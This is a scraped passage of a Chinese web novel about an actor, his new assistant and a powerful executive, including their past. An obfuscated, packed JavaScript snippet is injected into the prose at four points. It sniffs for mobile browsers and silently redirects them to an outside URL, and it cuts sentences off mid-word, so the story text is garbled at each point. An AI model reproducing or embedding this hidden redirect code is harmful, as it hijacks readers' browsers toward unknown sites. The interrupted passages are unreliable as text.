在许多人眼里,他少年出道风光无限,因为太过得意,从来不知道谦虚和尊老爱幼怎么写。不仅和男女演员举止暧昧,还对年轻后辈出言不逊,更不给前辈半分脸面。记者媒体想告就告,连媚粉这件事都没做好 ——拍戏三年硬是一点音讯都没有,偏偏回来发个颜文字,又有大把人赶着上来捧,不知气红了多少人的眼睛。 粉丝数据反黑只能遏制散播谣言的水军。那些如同牛皮糖一样的大V营销号,还得工作室去告黑。一时半会处理不掉,虽没什么实质性伤害,看着也挺恶心的。 “他们怎么对我勾引杨婉出轨这种谣言这么执着?感觉对我脸的信任比粉丝还多。” 傅宴容边说边用叉子叉了一块小孙带来的低卡寿司,看起来对这些信息丝毫不在意,甚至大有就着黑料下饭的意思。 小孙捧着手机,看看坐在旁边引起轩然大波的正主,总觉得有点不真实。 他问:“傅哥,您都不生气吗?” 然后,他又觉得这话很多余,因为傅宴容看起来真吃得很开心。 小孙顿了顿,提醒道:“傅哥,进组要控制体脂,您收敛点。” 傅宴容唔了一声,敷衍又诚恳地竖起叉子晃了一下,弯起眼笑眯眯地说:“最后一个,我有分寸。” 小孙:……该死,我是直男!……不是,不能惯着老板! 他恶向胆边生,正准备虎口夺食,却看见傅宴容不轻不重地蹙了下眉,原来点在手机屏幕上的指尖一顿。 刚刚还在被热转的黑料顿时成了灰色一片,连整个词条都刷不出东西。甚至有些平日惯会造谣的营销号都直接黑了头像,一看就是被人狠狠教训了。 这样大规模不计成本的做法实在是很夸张,傅宴容低眸看了片刻,不耐烦地把手机扔进小孙怀里,没什么语气起伏地命令道:“找到东钰的公关打过去,让他们滚。” “啊……?” 小孙愣了半天才手忙脚乱地接住手机。不明白为什么黑料被清理了,老板还看起来这么不开心。 不是好事吗?而且,怎么又和东钰扯上关系了? 他迟疑片刻,看见傅宴容不耐烦地垂下眼轻啧了一声,然后把桌前那盒寿司全扔进了垃圾桶,起身去饮水机边倒水喝。 小孙心想老板确实阴晴不定,根本抓不住生气的理由。 不过好在现在被迁怒的只是一盒寿司,不是他本人。 想到这,他没再多说,赶紧拿傅宴容的手机翻找备注,给东钰的公关部、新钰娱乐管理层打电话。 新钰娱乐背靠东钰,随着公司扩张,手里掌握的媒体资源不计其数。近几年,圈里有名的公关案例全出自他们之手。很多人都讽刺,哪怕是条狗,扔进去包装两天也能混成网红。 小孙能干到傅宴容身边也不是傻子。拨电话时,他就想明白了事情的前因后果。 虽然他加入傅宴容的工作室较晚,但据说很久以前,傅宴容背后的团队就和东钰有关,资源好到羡煞旁人。 这个说法已经流传很久了,时间久到……比现在东钰掌权人宋临俞上位还要早。 只是,傅宴容出国后,给国内工作室的第一个要求,就是切割掉所有和东钰有关的资源,并且减少一切对接,做到彻底不相关的地步。 好像也是因为这件事,季承才开始出去带新人演员,只是傅宴容从不在意他做什么。 说实话,红到傅宴容这份上,工作室真没什么需要做的。平常的商务和公关处理好就行,最大的作用还是被粉丝@出来骂骂,成为合格的装死出气筒。 这也就意味着,让那么多大V媒体在半小时内烟消云散、闭嘴的人,肯定不会是工作室的法务部。 那有这个能力的还能是谁呢? 不言而喻。 / 东钰顶楼的会议室内,冷气开得很足。铅灰色云层压着CBD的玻璃幕墙,勾出一片沉闷的氛围。 宋临俞垂着眼听项目经理汇报关键数据,手上文字才写了一半,放在手边的手机屏幕就无声亮了一下。 是一则未接通话和一则简讯。 内容很简单:「宋总,傅老师有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160096|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找。」 唰的一声,笔尖顿住,在纸上洇开一点不太明显的墨痕。项目经理的话被打断,下面的人纷纷抬头,等宋临俞开口说话。 宋临俞抬手,骨节分明的手干脆利落地合上计划书。“啪”的一声轻响后,他站起身,平静地说:“不好意思,各位,等我十五分钟。” 他声音没什么波澜,像在说一件再平常不过的事。可是宋总临时打断会议,在东钰还是头一遭。 手底下的人对视一眼,都从彼此的眼睛里看到了几分疑惑。 …… 转接过来的电话那头非常安静,宋临俞一听就知道不是傅宴容本人,于是他握着手机,不咸不淡地问:“有什么事?” “呃,您好……?郑总让我听您的电话,我是傅宴容傅先生的助理孙嘉阳,负责代替他——” “我知道他换了新助理,你没必要说这个。” 电话那头的声音听起来相当冷酷且不近人情,还十分没耐心。 小孙总觉得这声线似曾相识,但胆子太小,只能窝囊地哦了一声,然后委婉道:“是这样的先生,关于我司艺人傅宴容的公关问题,工作室有应急预案和章程,我们暂且没有和新钰娱乐合作的意象,所以在此告知贵司……” 宋临俞没心思听他打官腔,直接问:“他原话怎么说?” 小孙欲言又止:“……这个……” “他说……让你们滚。” 不知是不是错觉,硬着头皮说出这句话的片刻沉默后,小孙甚至听到电话那头的人喉间溢出了一声不太明显的轻笑。 然后,那个人才低声道:“这个来电显示,还是配上这句话比较合适。” 电话被挂断了。 小孙:……??? 他不太清楚这事到底做好了没有,只能拿着手机在原地站了一会儿,然后把求救的目光投向端水回来的傅宴容。 傅宴容把手机接过来,漫不经心地问:“怎么这副表情,他们还有人敢和你吵一架?” “倒也不是,就是遇到了一个有点奇怪的经理。” “不是郑昭?” 傅宴容随手解锁屏幕,第一眼就看到了屏幕上那串没有备注的熟悉号码。 他垂眸看屏幕时,脸颊边上有些长的碎发会不自觉地垂下来遮住眼眸。小孙看不清傅宴容的神情,但莫名能察觉到他眼眸里化不开的黑色。 给人一种没由来的烦闷感。 他看着傅宴容重新拨回电话,响铃甚至不到一秒,这通电话就被接通了。 “……你没有听懂我的话吗?”傅宴容没做任何寒暄直接开口,问得干脆又直白,听得小孙心里一愣一愣的,自觉回避到了一边。 宋临俞许久没回话。 傅宴容没耐心等他,开口:“说话。” “可以说没有吗?” 那边传来的声音还是刚刚那副冷静的样子,只是说出来的口吻却截然相反,是格外的退让与柔软。 傅宴容声调平常:“不可以。” 听筒里再次传来短暂静默。 宋临俞从没觉得说话这么困难过。他不想让傅宴容不开心,但也不能、没办法说—— “你不要生气……新钰只是习惯了处理这些,我会让他们改。” 傅宴容听见宋临俞的声音突然变得有点弱,反正和高高在上的宋总不沾边,甚至就像以前故意跪在他面前小声叫他哥哥那样……让人听了有点烦。 “这不是理由。”傅宴容没听他撒娇,很冷酷地戳破了这个谎言,并提出更过分的要求。 “宋临俞,你没有权利处理我的事情。至少现在,别出现在我面前,别做让我能想到你的事,好吗?” 他用了商量的口吻,但宋临俞知道自己根本没有没商量的机会。 于是他指尖悄然掐进掌心,竭力装出在生意场上那种随意的、轻漫的、从容不迫的语气回答:“……对我来说有点难,傅老师,我不一定能做到。” 是拒绝的意思。 宋临俞清楚,等下傅宴容就会因为他的不配合直接挂断电话。然后,自己还是可以在无伤大雅的角落慢慢看着他——只要不被发现就行,这并不算太难。 可是,他没想到,傅宴容会这么对他说—— “你会做到的。”傅宴容掀起眼,语气很淡,却也格外笃定。 “宋临俞,你说过,你会很听话。” 8. 电话 东钰办公楼里的恒温系统仍然尽职尽责地轻声送风,可是在听到这句话的那一刻,宋临俞却突然觉得如坠冰窟。 他站在申澜最高的建筑顶层,透过落地窗前怔怔地看着这座城市的人来人往与车水马龙,明明听不到一点声音,耳边却传来无数嘈杂的噪音,如同耳鸣一样剥离不开。 傅宴容提出了他无法拒绝的请求,他无法违逆。 “可以……可以不要说这个吗?求你了。” 宋临俞只能艰涩地尝试从喉咙里挤出一点气音,他的请求模糊不清,退让到极点,好像用尽了全身的力气。 这通电话他们并没有说太多的话,但是中间数次沉默已经用了太多的时间,早早超过了宋临俞一开始在会议上承诺的十五分钟。 他的秘书Ella已经沉默不语地抱着文件站在了安全距离范围之外,但是,她并没有出声打扰自己的老板,反而移开了视线。 虽然她听不见宋临俞私人电话的内容,但是她从来没见过仿佛把一切都精准计算好的宋临俞脸上露出过那样神情——像被固定在十字架上的僵硬躯壳,没有力气再去做多余的动作,只能无声地站着,连呼吸都变得沉重而艰难。 他一定是听到了非常、非常令人难过的消息。 傅宴容听着宋临俞的话,轻轻叹了口气,平心静气地反问道:“所以,这句话也是骗我的,对吗?” “不是!”宋临俞飞快地反驳他,然后整个人像被攥紧一样,持续不断的疼痛从指尖开始,一直蔓延到心尖。 宋临俞后悔了,他意识到自己今天不应该和傅宴容说任何话。在自己没有解决问题与威胁之前,任何动作都是徒劳的。 可是要怎么办呢,如果连看都看不到他的话? 这一刻的宋临俞,绝望得如同走投无路的某种流浪动物。他第一次讨厌东钰办公楼里这么明亮的光线,将他的狼狈照得无所遁形。 …… 不知道过了多久,傅宴容才听到宋临俞说了一句我知道了。 然后,他第一次主动挂断了傅宴容的电话。 傅宴容一言不发,直到指腹传来透着玻璃杯也能感受到的过热温度,才慢慢松开了攥紧杯沿的手。 水汽将落不落地粘在有些苍白的指尖,好像和前夜宋临俞眼尾的湿度如出一辙。 傅宴容看了一眼,突然有些意味不明地自言自语: “不会哭了吧。” ……听语气好像有点,但是居然这么难过吗? 还是说像之前一样,演技太好,好到连自己都看不出来的地步。 “什么……?”小孙以为他在和自己说话,把头探过去问:“老板你刚刚说什么?” 傅宴容移开视线,轻飘飘地睨了他一眼,淡淡道:“说今天没你的事了,赶紧走,别在这碍我眼。” 莫名其妙被骂了一句的小孙:……!! 他开始尝试和傅宴容讲道理:“老板,我是生活助理,生活助理你明白吗?时时刻刻履行职责的那种。我向承哥要了你之前在国内的助理的工作表,你放心,我肯定能做到那个程度,不会半途而废。” 话说得很漂亮,只是说完他就发现,傅宴容用格外奇怪的眼神看了自己一眼。 不知道为什么,看得他有点发怵。 小孙咽了下口水,改口道:“也可能一开始有些不足之处……但是我会向前辈看齐的,我发誓。” 傅宴容不置可否地喝了口热水,接着放下手机拿起放在桌子上的剧本,漫不经心地翻开第一页。 然后他在小孙说完第二段话的时候,似笑非笑地用指尖弹了一下纸页的边缘,发出一声清脆的折页声响。 小孙茫然地把视线投到了傅宴容身上,看他撑着下巴,笑眯眯地问:“要不要猜猜看,我上一个助理为什么辞职?” ……总觉得这个问题很危险的样子? 小孙坐立不安地回答:“难道是因为管太多了有点烦?那我,那我以后少说点话?” 听了他的话,傅宴容思索了片刻,好像认真地回忆一会,随即才否定了这个答案。 “不烦吧。” 他说话的声音突然变得有点轻。 小孙愣了愣,没由来的,他突然觉得这一刻很安静的傅宴容,比他平常或笑或怒的样子更真实了一点。 傅宴容柔软的黑发垂在额前,米色的阳光慢慢从他的裤脚一点一点移上来,整个人身形修长,就像画里一样。 小孙也自然而然地放轻了语调,低声问: “所以为什么讨厌他开除他呢?” 这句话说出来的时候,傅宴容就又变回之前那种样子了。他没接话,反而很不负责任地吊着小孙的胃口,说:“你继续猜?” 可恶的讲瓜讲一半的坏人! 吃瓜人怒气冲冲。 只是接下来这个话题就没有再进行下去了,傅宴容安静地靠在沙发里看剧本,好似全然沉寂在了自己的世界里。 小孙犹豫了一下,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160097|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有活地准备起身帮傅宴容顺手打扫一下房间。 说起来,傅宴容在申澜应该有很多套房产,什么独栋别墅,江景平层,记得之前甚至还爆出过携几位当红小花出入私人度假山庄这种新闻。 结果他居然选择住在这个公寓里,虽说面积并不小,但怎么看都有点自降身价。 小孙推开窗户透气,突然发现窗外一丛丛白玉兰开得格外好。而转过身的那一瞬间,坐在沙发上的傅宴容就这样正好被花与窗框了进去。 公寓内光影错杂,但是每一束打光都恰到好处而温暖,并不过分刺目,也不会因为太弱了伤眼睛。从这个角度看,傅宴容就这样坐在灯火中,陷在花影里。 小孙愣了愣,突然看见傅宴容抬头,似有所感地看向了自己。 但是那一刻,他能很明显地察觉到,傅宴容的眼神,其实并不是在看某个具体的,站在这的人。 片刻后,小孙才听见傅宴容平静地说:“工作上的事情你处理好就行了,回去吧,有些时候我不喜欢太麻烦别人。” “但是……” “我上一个助理辞职,就是因为帮忙帮到我床上去了,你确定你想重蹈覆辙?” 傅宴容云淡风轻地翻了一页手里的剧本,丝毫没有意识到自己刚刚扔了个什么样重磅炸弹。 一瞬间,小孙汗毛倒竖,冷汗直流。他飞一般地窜到门边上,抬起手对天发誓:“老板,我十分安分!虽说我入职时候填的调查表有一栏写的是我非常非常喜欢你,但绝对只是针对你的演技,对本人绝无非分之想!” 傅宴容笑了笑,才不急不缓地说:“放心,你也非常安全。” 小孙:可恶,我这点自知之明还是有的! 他老实地鞠了一躬,大声挥了挥手:“那傅哥我走了,明天上午再来!拜拜——” 傅宴容冲他挥了下手,很快,房间内就重新陷入了寂静。 ……也正是因为过于安静了,傅宴容看着剧本,又不期而遇的想起自己在孙嘉阳离开前说的那句话。 这几天,是三年以来宋临俞在他脑海里出现频率最高的时刻。 无论是讨厌,麻烦,还是其他。 所以傅宴容很容易就联想起其实已经记不太清的事情。 想起宋临俞曾经当过他很长一段时间的助理,想起他喜欢抱着自己的腰,小声说我会很听话的样子。 还想起…… 想起他的这些话与动作,其实都是早有预谋的这件事。 9. 初见-P 2018年申澜的三月,长风沛雨,草木葳蕤,整座城市都浸润在白玉兰的香气里,是个真正春光浓似酒的好时节。 那一年,傅宴容19岁。 季承推开澜庭公寓门的时候,毫不意外眼前看到的画面。 ——客厅剧本飞页散了一地,而傅正宴容裹着空调被倒在沙发里睡觉。有点凌乱的长发遮了一半侧脸,只能看清他低低垂下的侧脸,和长睫下那颗小小的泪痣。 这么看真是张很安静的脸,所以才能掩盖他那极其恶劣的性格。 季承如此腹诽着,把手里提着的外卖扔到桌上,然后看了眼手机上生活助理发过来的离职申请,无奈地叫醒了傅宴容。 “大少爷,之前那个助理又哪里惹你不满意了?” 季承把散落一地的剧本收拢夹好,目光很自然地瞥到了上面密密麻麻的笔迹。傅宴容用不同色的记号笔分门别类写好了人物小传,看这个工作量,他大概真的是熬了一晚没睡。 季承叹了口气,道:“《四分之三》这部片子江铭第一个把剧本递给了你,看来你是很感兴趣了?” 公寓的灯被季承全部打开,没重装过的白炽灯光线惨亮,和片场的镁光灯几乎如出一辙。 光线不断重合晕染,烦得傅宴容抬起手臂遮了下视线,半晌才声音沙哑地回道:“不接。” 不接还做这么多笔记? “你确定?傅宴容,说实话我有时候真不明白你在想什么。” 傅宴容掀起眼,满不在乎地回道:“那就别想。” 季承按了下眉心,觉得自己始终只能和傅宴容这种人有合作关系。于是他没再多言,站在沙发前也和站在办公室里一样,打开文件夹向傅宴容汇报递过来的行程。 “如果你不接江铭的片子,那么接下来空出来的行程就是金樟的电影专访,剩下两部上星电视剧的男主角,还有个演绎综艺的导师位邀请。” “电视剧的剧本我传给你,名字叫……” “全推了。” “……金樟是东钰的电视台,宋先生的意思是比较希望你去。” 傅宴容偏过头,盯着季承的脸,慢慢说:“季承,雇佣你的人是我,不是宋问。” 季承不说话,但是态度却很明显。 而且,他也十分清楚傅宴容不会在这上面任性。 宋问,东钰集团如今的掌舵人,傅宴容父母的好友兼合作伙伴,也是他父母死前的托孤对象。就算不论感情,单论傅宴容手里有10%的东钰股份这件事,他就不会和东钰切割开。 这也是他无比任性,随意挥霍自己演艺生涯而永远不用担心其他事情的理由。 ……大少爷什么的还真是挺烦的。 季承这么想。 放着好的资源不要去拍烂片,递到眼前的本子也可以不管不顾地随便扔掉。 哪怕媒体都在发「成名的代价:名利侵蚀人心,天赋终将泯灭」「灵气消失,傅宴容是否只能继续出演烂片」这种评论,哪怕所有人都在对他口诛笔伐,他还是可以随心所欲做自己的事。 至于别人,就没这样的好运气了。 季承顿了顿,继续不动声色地说了下去:“还有没有助理也不是个办法,既然你最近没什么行程安排,又对我们安排的不满意,不如亲自去挑一挑?” 傅宴容没说好,也没说不好。 然后他从沙发上起身披上了自己的外套,语气干脆地命令道:“我去东钰,亲自和他说。” / 东钰集团的大厦大概是整个申澜白天最忙的地方,哪怕有数十个前台站在接待处不停地登记来宾和确认预约,也还是忙不过来。 但是繁忙之中这里又格外压抑,所有员工都笼罩在每分钟都按金钱以计的高压背景下,让无数人望而却步。 当然,傅宴容肯定是不在这个望而却步的人群里的。他从自己的车上下来,还没走两步,就被举着相机的小女孩们堵在了门口。 “啊啊啊啊啊啊!宝宝真的等到你了,可以和我们比个心吗?” 诸如此类的话语不停地在傅宴容耳边响起。 他被围在人群里,只能很没办法地随手将钥匙扔给门童让他去泊车,然后再对过来赶人的保安比了个时间,意思是几分钟后就让她们走,先别过来。 “比心比完还有什么?快点说哦我赶时间。”傅宴容格外熟稔地接起笔摆了几个pose,顺口道:“空白页不签,手机壳什么的都可以。” 大厅里不断有人回头看着外面这番景象,不断有窃窃私语的声音传了出来。 “明星啊,怪不得,粉丝一天到晚不务正业在这里蹲着。” “看年纪九年义务教育都没读完吧,诶等等,这不是那个很火的拿过奖的傅宴容吗?前几天上映的那部电影那么难看他还好意思出来?果然明星都一个样……” 傅宴容对这些声音无动于衷,但并不代表粉丝们可以忍。挤到最前面的那个小女孩儿听了这些话突然抹了把泪,特别大声地回头怼了几句,然后蹲在地上委屈地哭了。 看她这样傅宴容有点没办法,只能弯下腰轻轻拍了拍她的背,话糙理不糙地安慰道:“这有什么好哭的,我赚这么多,被骂两句很正常。” “可是你演戏就是很好看,是他们看不懂!” “那也没有。”傅宴容忍不住笑了一下,“最近是演了部烂片,但是还好吧,至少我脸好看啊?” 粉丝被他逗笑了,不太好意思地站了起来,同担们也没怪她拖延时间,反而还你一言我一语地安慰了一会。 傅宴容边和她们聊天边签完手里最后一张明信片,随后叮嘱道:“这个月都别过来了,我不出门,别到处等。” 粉丝们也很听话,絮絮叨叨了几句好好吃饭注意身体就不依不舍地离开了。只是傅宴容看着她们离开的方向,不太明显地轻轻叹了口气。 粉丝是非常能够无条件包容你的一群人,她们大老远等几个小时就是为了见你一面,这样的感情,说实话真的很难承受。 因为如果不想让他们失望难过,就要做得更好。 在她们面前傅宴容尽量温柔,贴心,好脾气。可是事实上,他并不是这样的人,也就注定会让人失望。 傅宴容这么想着,突然察觉到有一道目光落在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160098|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己身上。 做演员这行对视线一直比较敏感,因此,傅宴容能察觉出来这和那些路人或轻蔑或羡艳的打量不同,和粉丝殷切的目光也不一样,是一种像在欣赏某种难解数学题一样的、窥探欲格外重的目光。 他掀起眼,偏过头寻找视线的来源,只是下一秒,这道如影随形目光就消失得无影无踪。 傅宴容停顿片刻,没有再浪费时间,走进了东钰的旋转门。 前台排队预约的人不少,只有一个队伍格外短,就站了一个少年。但是他身后并没什么人排队,大概是因为说话的时间太长,根本看不到结束的意思。 不过傅宴容可没什么乖乖排队的耐心,他径直穿过人群走向那个只站了一个少年的队伍,隐隐约约听见几句分贝较高的对话: “先生,真的抱歉,你不用找李主任我也可以明明白白告诉您。东钰的贫困生补助很早就签了协议,您没有按要求参加高考考上规定院校,我们不会让您工作。” “就算以前拿的是最高等的奖学金……也不行……相反您还要退还我们的学费……是的……三年……” 傅宴容皱了皱眉,抬起手敲了敲前台的桌子,打断了他们的对话:“不好意思打扰一下,宋叔现在在哪层楼?” 看到是他,前台员工的声音顿时就软了下来,惊喜地说:“傅先生上午好。宋总正在32楼开会,还有四十分钟左右才结束,您先去办休息区等他就好。” “这么久。” 傅宴容轻轻啧了一声,突然就有点闲心去管别人的事了,于是随口问了句:“你刚刚在和他说什么?什么高考?他找谁?” 他一边问,一边抬眼打量了一遍旁边的少年,随后话音意外地停了一下,发现那家伙居然长得还不错。 就算以娱乐圈角度来看,也还不错。 身姿高挺神秀,眉眼精致漂亮,就算穿了一件洗得发白的简单T恤,背着款式很旧很普通的背包,也依然很出挑。 只是有点过分瘦削了,傅宴容眼睫稍微往下一垂,就能从他T恤过分宽大的敞开领口里窥见一层覆着单薄血肉的脊柱。 看起来经济条件确实不太好……傅宴容这么想着,突然发现随着自己的视线,少年的喉结极其缓慢地滚了滚。 随后他十分不自在地垂下眼,低声婉拒:“不,不用麻烦您。” 一边说还要一边往后退,连话也不问了,一副要转身就跑的模样,好像傅宴容是什么避之不及的东西。 平常只有别人来堵傅宴容的份,还没有人见了他就跑的。 他毕竟年纪轻,面对看起来比自己就小一两岁的同龄人,总是会玩心大起,更别说人还有点奇怪。 于是傅宴容径直伸出手拉住那人的书包,把他往自己怀里拽了点,笑眯眯地偏过头揽着他的肩膀,眯起眼逼问:“你跑什么?我又不会吃了你。” 春光清湛,他笑得顽劣又漂亮,是那种恶作剧似的坏心眼模样的笑。 而就这样被迫靠在他身边的人,就这样呆呆地转过脸看着他。 ……接着,在短暂的对视后,又不可抑制地,全身泛起一层慌乱的薄红。 10. 演员-p 看他这个反应,傅宴容笑了笑,反手随意地拍了一下人发烫的脸,说:“回神。” 分明的骨节带着凉意与脸颊一触即分,少年低垂着头,长睫在眼下投出一片浅浅的阴影,脊背微微一僵,手指攥着背包带,泛起一层紧张的薄白。 不过傅宴容没在意这些细节,他松开手,难得做个好人地转过头,对前台说:“放他进去吧,没必要为难一个小孩。” 刚刚他们的对话傅宴容没听太清,但奖学金和高考这几个词还是挺明显的。 东钰很早就设立了资助优秀贫困学生的基金,让他们毕业后直接进入总部工作,本来就是互惠互利的好事,不至于弄得那么尴尬。 可是眼前人却摇了摇头,低声说:“谢谢您傅先生,但我真的不需要。” 他抬眼看着傅宴容,嗓音清瘦却平稳,“没能参加高考是我的问题,如果东钰确实没有能稍微延缓退回助学金的政策,我会尽快在期限内还上的。” 他这话说得很十分诚恳,连前台都不由自主地开口:“你既然之前成绩不错,为什么不去考试?我都想不出你们这个年纪还有什么比高考更重要。” 少年没说话,只是静静地看着他,眼底的情绪像被风吹散的雾气,模糊不清。 傅宴容上下看了他几眼,没再说什么,也没有等他的回答,径直转身走进了休息区。 他的身影很快被旋转门吞没,只留下一片春光,寂静地洒在宋临俞身前。 手机振动的提示音不期而遇地响起,宋临俞看向锁屏上的消息,神情一点点变得冰冷而阴郁。 「临俞哥,你还好吗?那天你没来考试,是不是因为我才被那群小混混堵的?」 「我考上电影学院了……你还会来申澜吗?我们还会再见的对不对?」 「你家人的事处理得怎么样了?阿姨还好吗?」 信息无休无止,宋临俞却置若罔闻。 …… 东钰大厦的32楼,会议室的门还紧闭着,宋问的声音透过厚重的玻璃隐约传出,低沉而威严。 傅宴容靠在休息区的沙发上,手里拿着一杯前台送来的咖啡,目光却漫不经心地落在窗外。申澜的天空被春雨洗得透亮,白玉兰的香气仿佛还能从远处飘来,钻进鼻尖。 他端起咖啡抿了一口,身后会议室的门也随之打开。脚步声不间断地响起,傅宴容感到自己的肩膀被人按了按,一抬头,对上了一张平和又慈祥的面庞。 “小宴来了啊。”宋问绕过他在旁边的沙发上坐下,身体微微前倾,肢体语言看起来十分乐意同人对话,“最近遇到什么麻烦了吗?听说你之前的助理把你的私人信息卖出去了?” 傅宴容笑了笑:“真是什么都瞒不过宋叔您。” “我不太好管着你,总是要让身边人多多留心的。”宋问很坦然地摊开手,一副很开明包容又关心孩子的长辈姿态。 “说吧,这次是什么事?” “最近状态不好,不是很想拍戏。”傅宴容放下咖啡杯,淡淡地回答。 “江铭导演的那部也不拍吗?小宴,其他工作你都可以随意,不过这部片子不可以。如果你不去,那江铭属意的人选就只剩下陈佑宁。《四分之三》就是冲着报金棕榈去的,不能落在至臻手里。” “陈佑宁未必有那个水平。”傅宴容答得很快,“江铭不是宁缺毋滥么。” “所以你去才能体现出它的价值。宴容,我和你父母都是商人,商人逐利是天性啊,没有什么比这个更重要。东钰想在影视方面扩张,就需要你给出足够的影响力。” 宋问仰起头,好像在回忆什么一样说出了这番话。 果不其然,提到父母,傅宴容陷入了长久的沉默。半晌,他才垂下眼静静地看着宋问,慢吞吞地点了点头。 / 三个月后,申澜的夏日如期而至,无论走到哪里空气中裹挟着湿热的黏腻,仿佛即将大雨倾盆。 昏暗的房间里,气氛逼仄而危险。 傅宴容抵在对手演员身前,一只手扣住他的后颈,指腹缓缓收紧,仿佛要将人完全掌控在手心里。他垂着眼,目光沉沉,像是在打量猎物。 梁靖言微微仰头,呼吸有些紊乱,背脊死死抵住床沿,像是随时会被撕碎的猎物。直起身跪坐在他身上的傅宴容衬衫衣角撩起一角,任凭低腰牛仔裤露出截漂亮的腰线,整个人危险,可怕,又绝对引人注目。 半晌,傅宴容忽然笑了一下,低声道:“跑啊。” 台词轻飘飘地落下,语调却像是真心在诱哄。 梁靖言喉结滑动,额角沁出一层薄汗,他知道镜头在拍,却只有最本能的逃跑预感,险些分不清戏里戏外。 傅宴容的眼神太真实了,像是掐准了人所有的软肋,明知是表演,仍然让他心悸。 导演没有喊停。 傅宴容俯下身,手掌撑在床单上,骨节突出的手指缓缓收拢,将人完全困住。他的呼吸擦过对方颈侧,像是猛兽俯身,蓄势待发。 明明应该是场格外刺激的擦边激情戏,却硬生生在暧昧之余拍出了极其可怖的掌控感,仿佛某种凶案现场,将角色本质暴露得明明白白。 梁靖言觉得自己要死了—— …… “Cut!” 导演终于喊停。片场安静了一瞬,像是沉入一片真空的湖底,所有声音都被凝固在一起。紧接着,工作人员的调整声和压抑不住的惊叹才渐次响起,把演员重新拉回现实。 傅宴容顿了半拍,撑起身缓缓收回手,眼睛轻轻闭了一下,像是刚刚从角色中抽离。 可是他并没有起身,只是这样坐在床边,格外冰冷地盯着水泥地板上那一块血色的污渍。 而梁靖言按着床沿坐起,猛吸了一口气,像是才从窒息中解脱出来一样。他用力按住心口,后知后觉地抖了一下,低声感叹:“傅哥,刚刚我是真的被你吓到了,黎故这个角色,确实只有你演得最贴。” 他并不是恭维。 从年龄到气质,从外形到神态,傅宴容和那个故事里被病痛、绝望、谎言彻底浸透的男人重叠得近乎可怕。江铭导演不顾他数次拒绝也要让他出演男主,要的就是这个效果。 “闭嘴。” 摄像机后的江铭冷冷地睨了他一眼,声音压得极低,仿佛怕惊扰到什么。 梁靖言意识到自己说错话了,连忙合掌鞠躬。 在江铭的剧组里,一切都是绝对的体验派。整个剧组从组合起来的那一天开始,只要是演员,就只能用角色的名字称呼彼此。 傅宴容第一部拿奖的电影就是江铭拍的,而他对演员的追求极端而纯粹,这也是他从一开始就痴迷于毫无表演经验的傅宴容成为镜中主演的原因。 他要绝对的体验派。 江铭始终坚信,一个角色的真正诞生,不是靠演员去模仿,而是靠演员在精神和□□上被角色彻底吞噬,直至“死亡”。 “只有你死了,角色才能活过来。”江铭这么对傅宴容说过,“观众不想看到傅宴容在演黎故,他们也不想看你的脸,想看到的,是黎故活着——真实地、彻底地活在银幕上,活在他们的意识里。而要让黎故活过来,你就得死,傅宴容必须死。” 在江铭的理论体系里,演员只是一个容器,是被角色借用的躯壳。真正的表演,不是技巧的堆砌,而是演员让渡自我,把灵魂献祭给角色,让角色主宰一切。 “你得让黎故吞掉你,”江铭低声说,“吞掉你的姿态,你的情绪,你所有的惯性反应。你要在黎故的身体里醒来,困惑地睁开眼,发觉你已经不再是傅宴容,而是黎故在呼吸、渴望。” 这是一种危险的沉浸式表演,一旦深陷其中,演员将难以区分现实与虚构的界限。江铭的电影从来都是如此,他的镜头下,演员不是在“演”,而是在经历,甚至是被折磨至崩溃,直至重塑。 傅宴容要么成为角色,要么被角色毁掉。 这也是他自己一开始被剧组吸引的原因。 那个时候,在傅宴容第一次站在聚光灯下的时候,他心里想的只有一件事。 ——成为谁都可以,我唯独不想成为傅宴容。 …… 安静,极致的安静。 江铭让所有工作人员都从房间离开,因为他很清楚傅宴容现在的状态。他被黎故的性/瘾勾起了欲望,被他杀戮的本性逼出了无尽的恶意,却只能伪装自己的本性。痛苦,绝望,恶劣……一切负面情绪都在让傅宴容更加贴近镜子那一面的主角,让他更加无法自拔 ……好像有人在和我说话。 寂静的房间里,任何声音都格外突兀。傅宴容沉默良久,轻轻瞥过眼,眸色在发丝下变得格外深沉。 原来是他之前面试时候找的实习助理,那人此时此刻正带着小心翼翼的谨慎,讨好地递过毛巾,小声说:“傅哥,您辛苦了,用这个吧。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 